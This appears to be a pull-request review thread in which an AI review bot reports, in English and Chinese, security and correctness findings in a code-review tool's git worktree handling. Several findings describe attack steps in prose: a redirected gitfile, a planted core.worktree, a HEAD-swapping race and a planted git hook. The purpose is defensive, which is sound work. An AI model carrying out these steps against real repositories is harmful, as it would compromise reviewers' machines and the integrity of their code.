| if ( | ||
| meta.headRefOid && | ||
| meta.headRefOid.toLowerCase() !== fetchedSha.toLowerCase() | ||
| ) { |
There was a problem hiding this comment.
[Critical] R10-3: Still stands from round 10. The head cross-check treats meta.headRefOid as a strict object ID, but the Aone provider fills it from sourceBranch — aoneHeadSha is (view.sourceBranch ?? '').trim() with no shape check (aone.ts:275-277), and the provider's own comment records that sourceBranch is a branch NAME on branch-based (non-AGit-Flow) MRs.
Failure: a non-AGit-Flow Aone MR — sourceBranch: "feature/login" never equals the fetched 40-hex SHA, so every such run throws 'the fetched content is not the PR under review (a repo-local config rewriting the fetch's remote URL is one cause)' — a misdiagnosis sending the oncall hunting config tamper — rolls the correctly-fetched ref back, and no review of that MR class ever runs. All existing Aone test fixtures use SHA-shaped sourceBranch, so the suite ships green.
witness: not run — the comparison is a deterministic string inequality fully traced in quoted code (this block, aone.ts:275-277/:720/:776-780); the unsettled element is the live Aone payload population for non-AGit-Flow MRs, which cannot be fetched from this host. Found independently by four agents across two rounds.
Fix: gate the comparison on the value being a full object ID (/^[0-9a-f]{40}$/i) and disclose that the redirect defense is off when the advertised head is not a SHA.
中文说明
自第 10 轮起仍然存在。head 交叉校验把 meta.headRefOid 当作严格的对象 ID，但 Aone 提供方用 sourceBranch 填充它——aoneHeadSha 是未经形状检查的 (view.sourceBranch ?? '').trim()（aone.ts:275-277），提供方自己的注释也说明：基于分支（非 AGit-Flow）的 MR 的 sourceBranch 是分支名。
失败场景：非 AGit-Flow 的 Aone MR——sourceBranch: "feature/login" 永远不等于取回的 40 位十六进制 SHA，因此每次运行都会抛出 'the fetched content is not the PR under review（仓库本地配置改写 fetch 远端 URL 是原因之一）'——一个误导值班者去排查配置篡改的错误诊断——并回滚正确取回的引用，该类 MR 永远无法被审查。现有 Aone 测试夹具全部使用 SHA 形状的 sourceBranch，因此测试套件绿灯通过。
见证：未运行——该比较是引用代码中完全可追踪的确定性字符串不等式；未能确定的要素是真实 Aone 载荷对非 AGit-Flow MR 的填充，无法从本机获取。两轮审查中四个代理独立发现。
修复：仅当值为完整对象 ID（/^[0-9a-f]{40}$/i）时才执行比较，并在公告的 head 不是 SHA 时披露重定向防御已关闭。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| } | ||
| process.exit(RUNNER_TEARDOWN_EXIT_CODES[signal] ?? 1); | ||
| }; |
There was a problem hiding this comment.
[Critical] R10-4: Still stands from round 10. runTestEfficacy is one unbroken synchronous slab (the only await in the file is the dispatcher at :3669), so a queued teardown handler cannot fire until the entire command returns — the 'next event-loop turn' the hook's comment promises never arrives between spawns. The runnerGroupPid branch is dead code for the same reason (the pid is set and cleared inside one synchronous segment no turn can interleave).
Failure: run.ts cancels a review and forwards SIGTERM to the group; the signal lands mid-spawnSync, the listener suppresses the default and queues it; the whole remaining probe budget — minutes of executing the PR's own test code — runs on synchronously, and process.exit(process.exitCode ?? 0) then exits 0 'completed normally'. The cancellation is invisible to CI and developers.
Witness (probe against the REAL yargs chain, Node v22.23.0):
parent: sending SIGTERM mid-slab
child: SLAB-DONE / REACHED-PROCESS-EXIT (no HANDLER-FIRED)
child exit: code=0 signal=null
Fix: record the received signal in a module variable and check it synchronously right after each spawnSync returns (where the group kill already runs): kill the current group and exit RUNNER_TEARDOWN_EXIT_CODES[sig].
中文说明
自第 10 轮起仍然存在。runTestEfficacy 是一整块不间断的同步代码（文件中唯一的 await 是 :3669 的调度器），排队的清理处理器在整个命令返回之前不可能触发——钩子注释承诺的「下一个事件循环回合「在 spawn 之间永远不会到来。runnerGroupPid 分支同理是死代码（pid 在任何回合都无法插入的单个同步段内设置并清除）。
失败场景：run.ts 取消审查并向进程组转发 SIGTERM；信号落在 spawnSync 中间，监听器抑制默认行为并将其排队；整个剩余探针预算——数分钟执行 PR 自己的测试代码——继续同步运行，随后 process.exit(process.exitCode ?? 0) 以 0 退出，表现为「正常完成「。取消对 CI 和开发者完全不可见。
见证（对真实 yargs 链的探针，Node v22.23.0）：父进程在同步段中间发送 SIGTERM；子进程输出 SLAB-DONE / REACHED-PROCESS-EXIT（无 HANDLER-FIRED），退出码 0。
修复：把收到的信号记录到模块变量，在每个 spawnSync 返回后立即同步检查（组杀死已在那里执行）：杀死当前组并以 RUNNER_TEARDOWN_EXIT_CODES[sig] 退出。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Deferred to the next round (budget-warning round). Cancellation responsiveness requires an event-loop barrier/flag check between suite runs inside the synchronous campaign — a structural change that needs its own verified batch and a two-suite SIGINT witness.
中文说明
顺延到下一轮（预算警告轮）。取消响应性需要在同步战役中套件运行之间加入事件循环屏障/标志检查——结构性改动，需要独立的一批验证与双套件 SIGINT 见证。
| // (measured live). Only this pin validates IDENTITY. Recorded BEFORE | ||
| // `created` is set: a throw here must land in the creation-failure | ||
| // catch alone, not double-record beside a phase that then runs. | ||
| creationCommonDir = realpathSync( |
There was a problem hiding this comment.
[Critical] R12-10: Still stands from round 12. The creation screen and the new identity pin both bootstrap from the review worktree's own git discovery, so a planted/redirected .git gitfile on the review worktree certifies a rogue repository end-to-end — localFilterRefusal resolves its candidates from the same discovery the creationCommonDir pin then trusts as the campaign's ground truth. No guard added this round validates the review worktree's own discovery (the identity gate checks the PROBE tree, not the worktree the campaign runs from).
Failure: an escaped writer (the R8-14 class, still standing) rewrites the review worktree's .git gitfile to point at a rogue repo sharing the object store. The screen reads the rogue's config (clean), the pin records the rogue's common dir, and the whole probe campaign — every restore, every checkout with reviewer privileges — runs against the rogue repository while the user believes it runs against the PR.
Fix: validate the review worktree's own admin entry against the main repository's common dir before the campaign starts (the same realpath round-trip the probe-tree gate applies), and fail closed on a mismatch.
中文说明
自第 12 轮起仍然存在。创建屏幕与新的身份钉注都从审查 worktree 自身的 git 发现链自举，因此审查 worktree 上被植入/重定向的 .git gitfile 可以端到端地为恶意仓库背书——localFilterRefusal 从同一发现链解析候选，而 creationCommonDir 钉注随后把该发现链当作整个战役的事实基准。本轮新增的防护没有一个验证审查 worktree 自身的发现链（身份门禁检查的是探针树，而不是战役运行所在的 worktree）。
失败场景：逃逸写入者（R8-14 类别，仍然存在）把审查 worktree 的 .git gitfile 改写为指向共享对象存储的恶意仓库。屏幕读到恶意仓库的配置（干净），钉注记录恶意仓库的 common 目录，整个探针战役——每次恢复、每次以审查者权限执行的 checkout——都在恶意仓库上运行，而用户以为它运行在 PR 上。
修复：战役开始前，把审查 worktree 自身的管理条目与主仓库的 common 目录做验证（与探针树门禁相同的 realpath 往返），不匹配即失败关闭。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Deferred to the next round (budget-warning round). Fix stands: anchor the campaign’s discovery chain outside the review worktree’s own git discovery — validate the review worktree’s admin entry against the main repository’s common dir before the campaign starts, fail closed on mismatch.
中文说明
顺延到下一轮（预算警告轮）。修复不变：把战役的发现链锚定在审查 worktree 自身 git 发现之外——战役开始前把审查 worktree 的管理条目与主仓库 common 目录比对，不一致即失败关闭。
| if (unreadable.length > 0) { | ||
| parts.push( | ||
| `the repository's local config could not be read (${unreadable |
There was a problem hiding this comment.
[Critical] R13-1 (new this round): the boundedness the new scratch-tree.test.ts:385-387 test pins holds only for the KEY lists (MAX_NAMED_SCREEN_KEYS = 8, whose own comment cites the R2-7 megabyte-burial shape). The unreadable list is joined in full with no cap here, while its source — the <common>/worktrees readdir at :872-876 — is itself unbounded. test-efficacy.ts:2995 throws the refusal and worktreeCreateFailureDetail embeds err.message verbatim into EVERY probe, mutant, and hunk result.
Failure: a probe mkdirs N entries under <common>/worktrees/, each holding a FIFO named config.worktree (the documented one-write class, repeated). Each contributes one unreadable record; N = 100k is a ~7.6 MB refusal re-embedded in every result — the R2-7 megabyte-burial shape reopened through the unreadable variant, persisted in the never-wiped common dir. Alternate payload: readable regular config.worktree files cost one uncapped git config --file spawn per planted entry.
Witness (probe importing the real localFilterRefusal):
N=2,000 FIFOs -> refusalBytes=149027 embeddedFiles=2000
N=100,000 FIFOs -> refusalBytes=7589027 embeddedFiles=100000
bounded-join fix -> refusalBytes=762, overflowPhrase=true
Fix: bound the unreadable join like the key lists (name the first pairs, then '... and N more unreadable files'), or cap the worktrees enumeration with an overflow entry that fails closed naming the count.
中文说明
本轮新发现。新的 scratch-tree.test.ts:385-387 测试所钉住的有界性仅对键列表成立（MAX_NAMED_SCREEN_KEYS = 8，其自身注释即引用 R2-7 的兆字节掩埋形态）。此处的 unreadable 列表无上限地全量拼接，而其来源——:872-876 对 <common>/worktrees 的 readdir——本身无上界。test-efficacy.ts:2995 抛出该拒绝，worktreeCreateFailureDetail 把 err.message 原样嵌入每一个探针、突变体与 hunk 结果。
失败场景：探针在 <common>/worktrees/ 下创建 N 个条目，每个放一个名为 config.worktree 的 FIFO（文档化的一次写入类别的重复）。每个条目贡献一条 unreadable 记录；N = 10 万即约 7.6 MB 的拒绝被嵌入每个结果——R2-7 兆字节掩埋形态经 unreadable 变体重新打开，并持久存在于永不清除的 common 目录。替代载荷：可读的常规 config.worktree 文件，每个植入条目花费一次无上限的 git config --file spawn。
见证（导入真实 localFilterRefusal 的探针）：N=2,000 -> refusalBytes=149027；N=100,000 -> refusalBytes=7589027；应用有界拼接修复后 refusalBytes=762 且出现溢出短语。
修复：像键列表一样为 unreadable 拼接设上限（列出前若干对，然后"... and N more unreadable files"），或为 worktrees 枚举设置带溢出条目的上限并失败关闭、报出计数。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| // add` created the tree under; the gate requires discovery to still | ||
| // resolve into it. |
There was a problem hiding this comment.
[Critical] R13-2 (new this round): the common-dir pin closes the rogue-REPOSITORY case (test 4 of this block) but not the rogue-MAIN-WORKTREE case: a gitfile re-pointed at <common> itself, with core.worktree planted to forge --show-toplevel and a gitdir backpointer planted at <common>/gitdir, passes every check in probeTreeIdentityRefusal (the gate has no gitDir === commonDir / admin-entry requirement), so the certified restore writes the user's COMMON index. No test covers the shape. The sibling gate this one is modelled on already refuses this exact state — scratch-tree.ts:258: if (gitdir === commonOf(worktree)) return false;.
Failure: the hostile suite (PR code runs with reviewer privileges) (1) rewrites tree/.git -> gitdir: <common>/.git, (2) plants core.worktree = <tree> into <common>/config — absent from the screen's refusal regex — (3) plants <common>/gitdir containing <tree>/.git, (4) satisfies the HEAD pin with one write of <common>/HEAD. The gate's own spawn answers toplevel=tree, commondir=gitdir=<common>/.git, HEAD=creationSha — all checks pass; the following checkout --force HEAD -- . rewrites the COMMON index instead of the per-worktree one — the exact exploit the gate's docstring cites — and the planted core.worktree persists in the user's real repo config.
Witness (end-to-end probe through the real runOneMutant):
ATTACK gitDir===commonDir: true head===creationSha: true
ATTACK certified past gate+restore
ATTACK COMMON index mtime changed: true sha changed: 54fc971d -> 297f4828
ATTACK worktree-admin index changed: false
CONTROL common index changed: false
Fix: in the strict shape, refuse when discovery resolved the repository itself — require realpathSync(gitDir) !== realpathSync(commonDir) ('discovery resolved the repository's own main worktree — the checkout would write its index'). Add a ninth test planting the three writes; secondarily add core\.worktree to the refusal regex.
中文说明
本轮新发现。common 目录钉注封闭了恶意仓库情形（本块测试 4），但没有封闭恶意主 worktree 情形：把 gitfile 重指向 <common> 本身、植入 core.worktree 伪造 --show-toplevel、并在 <common>/gitdir 植入回指文件，即可通过 probeTreeIdentityRefusal 的全部检查（门禁没有 gitDir === commonDir / 管理条目要求），于是被放行的恢复写入用户的 COMMON 索引。没有测试覆盖该形态。本门禁所参照的兄弟门禁已经拒绝了这一状态——scratch-tree.ts:258：if (gitdir === commonOf(worktree)) return false;。
失败场景：敌对套件（PR 代码以审查者权限运行）(1) 把 tree/.git 改写为 gitdir: <common>/.git；(2) 向 <common>/config 植入 core.worktree = <tree>——不在屏幕拒绝正则中；(3) 植入内容为 <tree>/.git 的 <common>/gitdir；(4) 用一次 <common>/HEAD 写入满足 HEAD 钉注。门禁自身的 spawn 回答 toplevel=tree、commondir=gitdir=<common>/.git、HEAD=creationSha——全部检查通过；随后的 checkout --force HEAD -- . 改写 COMMON 索引而非按 worktree 的索引——正是门禁文档字符串引用的利用——且植入的 core.worktree 持久存在于用户真实仓库配置中。
见证（通过真实 runOneMutant 的端到端探针）：ATTACK 分支 gitDir===commonDir 为真、head===creationSha 为真，通过门禁与恢复，COMMON 索引 mtime 与 sha 均变化（54fc971d -> 297f4828），worktree 管理索引不变；CONTROL 分支 COMMON 索引不变。
修复：在严格形态中，当发现链解析到仓库自身时拒绝——要求 realpathSync(gitDir) !== realpathSync(commonDir)（"发现链解析到仓库自身的主 worktree——checkout 将写入其索引"）。新增第九个测试植入上述三处写入；其次把 core\.worktree 加入拒绝正则。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Deferred to the next round (budget-warning round). Fix stands: in the strict shape, refuse unless realpathSync(gitDir) is a registered admin entry under join(creationCommonDir, 'worktrees') — covers both the rogue-main-worktree and the attacker-dir-with-commondir-backpointer shapes.
中文说明
顺延到下一轮（预算警告轮）。修复不变：严格形态中，除非 realpathSync(gitDir) 是 join(creationCommonDir, 'worktrees') 下已注册的管理条目，否则拒绝——同时覆盖恶意主 worktree 与"攻击者目录+commondir 回指"两种形态。
| // content). Pinning HEAD to the creation sha closes it: an attacker | ||
| // cannot manufacture the sha, it is content-addressed. |
There was a problem hiding this comment.
[Critical] R13-3 (new this round): the identity gate's HEAD pin (and .git shape pin) is check-then-use against a concurrent adversary: probeTreeIdentityRefusal reads HEAD via --verify HEAD (:1570) and lstats .git (:1614), but the restore checkout runs only after the whole localFilterRefusal screen (:1761) — a multi-spawn window in which an escaped process from an earlier run (the R8-14 class this diff pins) can retarget HEAD or swap the gitfile. The test comment anchored here — 'an attacker cannot manufacture the sha, it is content-addressed' — defeats only a synchronous forger.
Failure: in a no-sandbox review the suite spawns a detached helper during baseline; it pre-creates an attacker commit (commit-tree into the writable common object store) and tight-loops an atomic rename of <common>/worktrees/<id>/HEAD to that sha. One write landing between the gate's --verify HEAD answer and the restore's checkout --force HEAD -- . (tens of ms across the screen's spawns, retried across dozens of restores per review) makes the checkout write the attacker's entire tree into the probe tree; every subsequent probe scores a verdict of the attacker's choosing.
Witness (race probe through the real runOneMutant, 30 rounds per arm):
control: attackerTrees=0 certifiedOrRan=30 refused=0
writer: attackerTrees=8 certifiedOrRan=9 refused=21 (8 rounds logged ATTACKER TREE)
(A truncate+write flipper got 30/30 refusals — partial reads fail closed — so the atomic rename is the effective shape, and what a real writer does.)
Fix: re-run the gate's HEAD/shape checks after the checkout+clean loop and fail the run when they changed; and/or pin discovery for the restore spawns with an explicit --git-dir=<verified admin dir>. State in the tests that they pin the synchronous adversary only.
中文说明
本轮新发现。身份门禁的 HEAD 钉注（以及 .git 形态钉注）对并发对手而言是先检查后使用：probeTreeIdentityRefusal 通过 --verify HEAD（:1570）读取 HEAD 并 lstat .git（:1614），但恢复 checkout 在整个 localFilterRefusal 屏幕（:1761）之后才运行——一个多 spawn 的窗口，更早一次运行的逃逸进程（本 diff 钉住的 R8-14 类别）可以在其中重定向 HEAD 或替换 gitfile。此处锚定的测试注释——"攻击者无法伪造 sha，它是内容寻址的"——只能击败同步伪造者。
失败场景：无沙箱审查中，套件在基线期间 spawn 一个 detached 助手；它预先创建攻击者提交（commit-tree 写入可写的 common 对象存储），并紧循环地把 <common>/worktrees/<id>/HEAD 原子重命名为该 sha。只要一次写入落在门禁 --verify HEAD 的回答与恢复 checkout --force HEAD -- . 之间（跨屏幕各 spawn 的数十毫秒，每次审查的数十次恢复中反复尝试），checkout 就会把攻击者的整棵树写入探针树；之后每个探针都评出攻击者选定的判决。
见证（通过真实 runOneMutant 的竞态探针，每分支 30 轮）：control 分支 attackerTrees=0、certifiedOrRan=30；writer 分支（detached 原子重命名翻转器）attackerTrees=8、certifiedOrRan=9、refused=21，8 轮记录 ATTACKER TREE。（truncate+write 翻转器 30/30 被拒——部分读取失败关闭——因此原子重命名是有效形态，也是真实写入者的做法。）
修复：在 checkout+clean 循环之后重新运行门禁的 HEAD/形态检查，若变化则令运行失败；和/或为恢复 spawn 用显式 --git-dir=<已验证的管理目录> 钉住发现链。在测试中声明其只钉住同步对手。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Deferred to the next round (budget-warning round). Fix stands: re-run the identity gate immediately before each restore/revert checkout (the re-check-at-the-write pattern probeTargetEscapes uses), closing the multi-spawn check-then-use window the race probes measured winnable.
中文说明
顺延到下一轮（预算警告轮）。修复不变：每次恢复/回退 checkout 前立即重跑身份门（probeTargetEscapes 的写时复查模式），封闭竞态探针实测可胜的多 spawn 先检查后使用窗口。
| // Die by signal mid-run, no report written: spawnSync answers the | ||
| // signal, the report file stays empty, and runProbeSuite throws. | ||
| process.kill(process.pid, 'SIGKILL'); |
There was a problem hiding this comment.
[Critical] R13-4 (new this round): the rewritten 'runner dies mid-mutation' test (ENOBUFS flood -> self-SIGKILL) depends on POSIX signal semantics and is a bare it() — its siblings at :652/:1563 use it.skipIf(process.platform === 'win32'). On Windows a self-SIGKILL surfaces to the parent spawnSync as a plain exit with signal: null, so runProbeSuite never throws and this test's assertions fail.
Failure: on the required Windows lane (ci.yml test_windows, Test (windows-latest, Node 22.x), runs npm run test:ci on merge_group — the queue this PR itself must pass): signal null -> classifyProbeRun -> mutant 1 'inconclusive' failing toContain('mutation probe could not run')/toContain('SIGKILL'); the loop proceeds to mutant 2 which the fake runner passes -> survived failing toBe('inconclusive'); a mutant-survived finding is emitted failing the .some(...) assertion. Product behaviour on Windows still fails safe (inconclusive); the defect is confined to the test, which is why a one-line skipIf settles it.
witness: not run — Windows signal semantics cannot execute on this Linux host; the trace rests on the quoted code path (runProbeSuite's direct-spawn branch throws only on r.error/r.signal), the verified CI lane configuration, and the repo's own documentation at packages/core/src/utils/pdf.test.ts:666-669 ('On Windows Node terminates via TerminateProcess and signal is typically null').
Fix: it.skipIf(process.platform === 'win32') like the siblings, or split assertions to the no-report/no-signal classification path on Windows.
中文说明
本轮新发现。重写后的"运行器在突变中途死亡"测试（ENOBUFS 洪水 -> 自我 SIGKILL）依赖 POSIX 信号语义，且是裸 it()——其兄弟测试 :652/:1563 使用 it.skipIf(process.platform === 'win32')。在 Windows 上，自我 SIGKILL 向父进程 spawnSync 表现为普通退出且 signal: null，因此 runProbeSuite 从不抛出，本测试的断言失败。
失败场景：在必需的 Windows 关卡（ci.yml test_windows，Test (windows-latest, Node 22.x)，于 merge_group 上运行 npm run test:ci——本 PR 自身也必须通过的队列）：signal 为 null -> classifyProbeRun -> 突变体 1 为 'inconclusive'，toContain('mutation probe could not run')/toContain('SIGKILL') 失败；循环继续到突变体 2，假运行器使其通过 -> survived，toBe('inconclusive') 失败；发出 mutant-survived 发现，.some(...) 断言失败。Windows 上的产品行为仍是安全失败（inconclusive）；缺陷仅限于测试本身，因此一行 skipIf 即可解决。
见证：未运行——Windows 信号语义无法在本 Linux 主机上执行；追踪基于引用的代码路径（runProbeSuite 的直接 spawn 分支仅在 r.error/r.signal 时抛出）、已核实的 CI 关卡配置，以及仓库自身在 packages/core/src/utils/pdf.test.ts:666-669 的文档（"在 Windows 上 Node 通过 TerminateProcess 终止，signal 通常为 null"）。
修复：与兄弟测试一致地使用 it.skipIf(process.platform === 'win32')，或在 Windows 上把断言拆到无报告/无信号的分类路径。
— qwen3.8-max via Qwen Code /review (v0.22.0)
|
🤖 AutoFix ran out of time before finishing (timeout (7200000ms)) (attempt 7/100) — it will retry on the next scan. What I found before stopping: See the Qwen Autofix agent step logs for model/tool output. 中文说明🤖 AutoFix 在完成前耗尽了时间（timeout (7200000ms)）（第 7/100 次尝试）—— 将在下次扫描时重试。 Run log: https://github.com/QwenLM/qwen-code/actions/runs/32960689353 🧠 Handled by Qwen Code · model/模型 |
|
🤖 AutoFix updated a stale base — the fix did not pass verification, but this PR was behind What I found before stopping: See the Qwen Autofix agent step logs for model/tool output. 中文说明🤖 AutoFix 更新了一个过期的 base —— 修复未通过验证，但本 PR 落后于 Run log: https://github.com/QwenLM/qwen-code/actions/runs/32975016505 🧠 Handled by Qwen Code · model/模型 |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: build-and-test — Test (windows-latest, Node 22.x) and Test (macos-latest, Node 22.x) were skipped in CI and their suites did not run locally (Linux runner); the Windows lane is exactly where R13-4 fires.
Not reviewed: build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally.
Test Plan (not a blocker): 504 passed — this review observed 25081 passed.
Deferred under the convergence posture (round 14, not a blocker) — recorded, not requested in this round:
packages/cli/src/commands/review/lib/worktree.ts:995 — [probe] https.proxy refusal buys nothing — git never reads the key (D14-1)packages/cli/src/commands/review/scratch-tree.ts:352 — [probe] two REFUSAL_REMEDIES entries have no positive witness (D14-2)packages/cli/src/commands/review/lib/worktree.ts:846 — [probe] layout refusal of newline/whitespace paths is avoidable by construction — two single-answer rev-parse spawns (D14-3)
Convergence: round 14 posted 20 inline comment(s), 4 of them reported for the first time; the previous round posted 18 (4 new). Findings keep coming back to the same files: packages/cli/src/commands/review/lib/worktree.ts (findings in rounds 8, 12, 13; 2 more now); packages/cli/src/commands/review/test-efficacy.ts (findings in rounds 8, 10, 11, 12; 1 more now); packages/cli/src/commands/review/fetch-pr.ts (findings in rounds 10, 12; 1 more now). The rate of new findings is not falling. A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. Batching the remaining fixes and verifying them before the next push keeps the loop from re-deriving the same set; this PR's reviews already resolve to a critical posting floor. (Observation only — nothing was withheld from this review because of this observation.)
Residual risk: this loop is persistently critical — Criticals stood in the previous round's work-list and stand again this round (22 Critical(s)), the rate of first-time findings is not falling (this round 4, previous 4), and the standing Critical backlog is not shrinking. The severity floor will not converge it. Recommendation: land-with-residual-risk — the exit is a maintainer risk-acceptance decision (merge, carrying the residual risk), not another review round. Residual-risk inventory for that decision (maintainer to complete):
| standing Critical | attack surface | attacker-dependency | blast radius |
|---|---|---|---|
| (each standing Critical) | … | … | … |
Advisory only — it does not block this review.
[Critical] R12-5 (still stands; overlaps the existing R12-12 class comment at worktree.ts:733 — relocated from inline by overlap, re-posted under the ledger id): CLASS FINDING for the fetch-refspec value judgment (fetchRefspecDstRefuses + fetchRefspecRefuses + refspecPartValid, worktree.ts:684-735), with two more live-verified entrances this round. (a) The SOURCE-class HEAD exception is widened by toLowerCase() to 'head'/'Head' — spellings git does not resolve — so remote.origin.fetch=head passes the screen and wedges every bare fetch-by-remote-name persistently (git 2.47.3: HEAD exit 0 vs head and head:refs/remotes/origin/x exit 128 'fatal: couldn't find remote ref head'). (b) A literal-HEAD source against a remote whose HEAD symref is dangling/unborn exits 128 — pairable with the un-value-judged remote..url in two writes. Plus a dead-code corner: refspecPartValid's bare-@ exception never changes a screen outcome (the screen refuses '@' in all forms) while git fetches with remote.origin.fetch=@ (exit 0) — a legitimate repo carrying that harmless value is permanently refused, and the comment asserts an admission the code never performs. Fix direction: exempt only the exact HEAD spelling (or drop the literal-source exception, whose damage is confined to user-initiated bare fetches), admit or delete the dead @ branch, and longer-term stop re-implementing git's refspec grammar. Add refusal rows for 'head' and 'head:refs/remotes/origin/x' and a certify test for '@'.
[Critical] R12-10 (still stands; overlaps the earlier R10-1 comment at test-efficacy.ts:3013 — relocated from inline by overlap, re-posted under the ledger id): the creation screen and the new identity pin both bootstrap from the review worktree's own git discovery, so a planted/redirected .git gitfile on the review worktree certifies a rogue repository end-to-end — localFilterRefusal resolves its candidates from the same discovery the creationCommonDir pin then trusts as the campaign's ground truth. No guard added this round validates the review worktree's own discovery (the identity gate checks the PROBE tree, not the worktree the campaign runs from). Failure: an escaped writer (the detached-survivor class this diff pins) rewrites the review worktree's .git gitfile to point at a rogue repo sharing the object store; the screen reads the rogue's config (clean), the pin records the rogue's common dir, and the whole probe campaign — every restore, every checkout with reviewer privileges — runs against the rogue repository while the user believes it runs against the PR. Fix: validate the review worktree's own admin entry against the main repository's common dir before the campaign starts (the same realpath round-trip the probe-tree gate applies), fail closed on a mismatch; add a test rewriting the review worktree's gitfile to a rogue repo and asserting the campaign refuses before any probe runs.
中文说明
仅完成部分审查，审查缺口已披露。
未审查：build-and-test — Test (windows-latest, Node 22.x) and Test (macos-latest, Node 22.x) were skipped in CI and their suites did not run locally (Linux runner); the Windows lane is exactly where R13-4 fires。
未审查：build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally。
Test Plan（非阻断）：504 passed — this review observed 25081 passed。
收敛姿态下延后（第 14 轮，非阻断）——已记录，本轮不要求修改：共 3 条（原文未翻译，列表见上方英文部分）。
收敛情况：第 14 轮发布了 20 条行内评论，其中 4 条是首次提出；上一轮发布了 18 条（其中 4 条首次提出）。发现反复回到同一批文件：packages/cli/src/commands/review/lib/worktree.ts（第 8、12、13 轮已出过发现，本轮又有 2 条）；packages/cli/src/commands/review/test-efficacy.ts（第 8、10、11、12 轮已出过发现，本轮又有 1 条）；packages/cli/src/commands/review/fetch-pr.ts（第 10、12 轮已出过发现，本轮又有 1 条）。新发现的产出速度没有下降。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。把剩余修复攒成一批、验证后再推送，可以避免循环反复推导同一组发现；本 PR 的评审已解析为 critical 发布下限。（仅为观察——本轮评审未因此扣留任何内容。）
残余风险：本循环处于 persistently-critical 形态——上一轮工作清单中的 Critical 本轮依然存在（本轮 22 条 Critical），首次发现的速率没有下降（本轮 4，上一轮 4），且未决 Critical 积压没有减少。severity floor 无法使其收敛。建议：land-with-residual-risk——出口是 maintainer 的风险接受决定（合入并承担残余风险），而非再开一轮评审。供该决定使用的残余风险清单（maintainer 填写）：按每条未决 Critical 列出「攻击面 · 攻击者依赖性 · 影响范围」三栏。仅为建议——不阻断本次评审。
[Critical] R12-5 (still stands; overlaps the existing R12-12 class comment at worktree.ts:733 — relocated from inline by overlap, re-posted under the ledger id): CLASS FINDING for the fetch-refspec value judgment (fetchRefspecDstRefuses + fetchRefspecRefuses + refspecPartValid, worktree.ts:684-735), with two more live-verified entrances this round. (a) The SOURCE-class HEAD exception is widened by toLowerCase() to 'head'/'Head' — spellings git does not resolve — so remote.origin.fetch=head passes the screen and wedges every bare fetch-by-remote-name persistently (git 2.47.3: HEAD exit 0 vs head and head:refs/remotes/origin/x exit 128 'fatal: couldn't find remote ref head'). (b) A literal-HEAD source against a remote whose HEAD symref is dangling/unborn exits 128 — pairable with the un-value-judged remote..url in two writes. Plus a dead-code corner: refspecPartValid's bare-@ exception never changes a screen outcome (the screen refuses '@' in all forms) while git fetches with remote.origin.fetch=@ (exit 0) — a legitimate repo carrying that harmless value is permanently refused, and the comment asserts an admission the code never performs. Fix direction: exempt only the exact HEAD spelling (or drop the literal-source exception, whose damage is confined to user-initiated bare fetches), admit or delete the dead @ branch, and longer-term stop re-implementing git's refspec grammar. Add refusal rows for 'head' and 'head:refs/remotes/origin/x' and a certify test for '@'.
[Critical] R12-10 (still stands; overlaps the earlier R10-1 comment at test-efficacy.ts:3013 — relocated from inline by overlap, re-posted under the ledger id): the creation screen and the new identity pin both bootstrap from the review worktree's own git discovery, so a planted/redirected .git gitfile on the review worktree certifies a rogue repository end-to-end — localFilterRefusal resolves its candidates from the same discovery the creationCommonDir pin then trusts as the campaign's ground truth. No guard added this round validates the review worktree's own discovery (the identity gate checks the PROBE tree, not the worktree the campaign runs from). Failure: an escaped writer (the detached-survivor class this diff pins) rewrites the review worktree's .git gitfile to point at a rogue repo sharing the object store; the screen reads the rogue's config (clean), the pin records the rogue's common dir, and the whole probe campaign — every restore, every checkout with reviewer privileges — runs against the rogue repository while the user believes it runs against the PR. Fix: validate the review worktree's own admin entry against the main repository's common dir before the campaign starts (the same realpath round-trip the probe-tree gate applies), fail closed on a mismatch; add a test rewriting the review worktree's gitfile to a rogue repo and asserting the campaign refuses before any probe runs.
— qwen3.8-max via Qwen Code /review (v0.22.2)
| env: sanitizedGitEnv(), | ||
| timeout: SCREEN_SPAWN_TIMEOUT_MS, | ||
| killSignal: 'SIGKILL', | ||
| }), | ||
| ); | ||
| } |
There was a problem hiding this comment.
[Critical] R12-1: Still stands from round 12. The three git branch -D spawns this diff edits (cleanStale here, metadata-failure rollback at :994, worktree-add-failure rollback at :1071) gained timeout/killSignal but NOT INERT_GIT_ARGS, while the fourth sibling — the head-mismatch rollback at :1031 — carries [...INERT_GIT_ARGS, 'branch', '-D', ref] with a comment stating that branch -D fires the reference-transaction hook from the never-wiped common hooks dir. A fifth site of the same class sits at aone.ts:674 — fetchDiff's finally cleanup, which this diff's INERT additions to the two fetches immediately above leave bare.
A malicious PR's probe writes an executable .git/hooks/reference-transaction into the common hooks dir (one write + chmod; nothing wipes it, and the config-only screen cannot see it). A later fetch-pr run whose worktree add throws, whose metadata fetch fails, or that finds a stale qwen-review/pr-N branch then reaches the non-inert branch -D and executes the planted hook as the reviewer — on the pipeline's failure and cleanup exits. The Aone finally site fires on the SUCCESS path of every MR diff fetch once the hook exists.
Witness (planted hook, real git 2.47.3):
bare `git branch -D` -> HOOK-FIRED prepared/committed/aborted (fires=3; fires=15 from a linked worktree)
-c core.hooksPath=/dev/null/no-hooks -> NO HOOK FIRED (fires=0)
